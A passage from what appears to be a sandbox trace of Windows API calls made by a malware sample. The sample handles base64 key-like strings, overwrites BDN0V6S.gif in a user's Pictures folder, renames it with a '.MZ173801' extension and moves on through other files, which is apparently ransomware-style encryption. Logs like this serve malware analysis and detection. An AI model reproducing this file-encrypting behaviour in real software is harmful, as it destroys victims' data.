lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0122.667] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0122.668] GetCurrentThreadId () returned 0x9fc [0122.668] GetCurrentThreadId () returned 0x9fc [0122.668] GetCurrentThreadId () returned 0x9fc [0122.669] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0122.669] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x78856c, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0122.669] GetCurrentThreadId () returned 0x9fc [0122.669] GetCurrentThreadId () returned 0x9fc [0122.669] GetCurrentThreadId () returned 0x9fc [0122.669] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\BDN0V6S.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\bdn0v6s.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.669] ReadFile (in: hFile=0x288, lpBuffer=0x714510, nNumberOfBytesToRead=0x18bc9, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f990*=0x18bc9, lpOverlapped=0x0) returned 1 [0122.674] CloseHandle (hObject=0x288) returned 1 [0122.676] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\BDN0V6S.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\bdn0v6s.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.678] WriteFile (in: hFile=0x288, lpBuffer=0x72e540*, nNumberOfBytesToWrite=0x18bc9, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x72e540*, lpNumberOfBytesWritten=0x18f99c*=0x18bc9, lpOverlapped=0x0) returned 1 [0122.681] CloseHandle (hObject=0x288) returned 1 [0122.684] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\BDN0V6S.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\bdn0v6s.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\BDN0V6S.gif.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\bdn0v6s.gif.mz173801")) returned 1 [0122.685] GetCurrentThreadId () returned 0x9fc [0122.685] GetCurrentThreadId () returned 0x9fc [0122.685] GetCurrentThreadId () returned 0x9fc [0122.685] GetCurrentThreadId () returned 0x9fc [0122.685] GetCurrentThreadId () returned 0x9fc [0122.685] GetCurrentThreadId () returned 0x9fc [0122.685] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xbbc33b5c, dwReserved1=0xa03bf443, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0122.685] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.685] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.685] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c3f9e0, ftCreationTime.dwHighDateTime=0x1d5dfd8, ftLastAccessTime.dwLowDateTime=0x45298cb0, ftLastAccessTime.dwHighDateTime=0x1d5e128, ftLastWriteTime.dwLowDateTime=0x45298cb0, ftLastWriteTime.dwHighDateTime=0x1d5e128, nFileSizeHigh=0x0, nFileSizeLow=0xc4c, dwReserved0=0xbbc33b5c, dwReserved1=0xa03bf443, cFileName="fhtI4R.png", cAlternateFileName="")) returned 1 [0122.685] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.685] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.686] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fhtI4R.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fhti4r.png"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c3f9e0, ftCreationTime.dwHighDateTime=0x1d5dfd8, ftLastAccessTime.dwLowDateTime=0x45298cb0, ftLastAccessTime.dwHighDateTime=0x1d5e128, ftLastWriteTime.dwLowDateTime=0x45298cb0, ftLastWriteTime.dwHighDateTime=0x1d5e128, nFileSizeHigh=0x0, nFileSizeLow=0xc4c)) returned 1 [0122.687] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0122.687] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0122.688] GetCurrentThreadId () returned 0x9fc [0122.688] GetCurrentThreadId () returned 0x9fc [0122.689] GetCurrentThreadId () returned 0x9fc [0122.689] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0122.689] WideCharToMultiByte (in: CodePage=0x4e4, 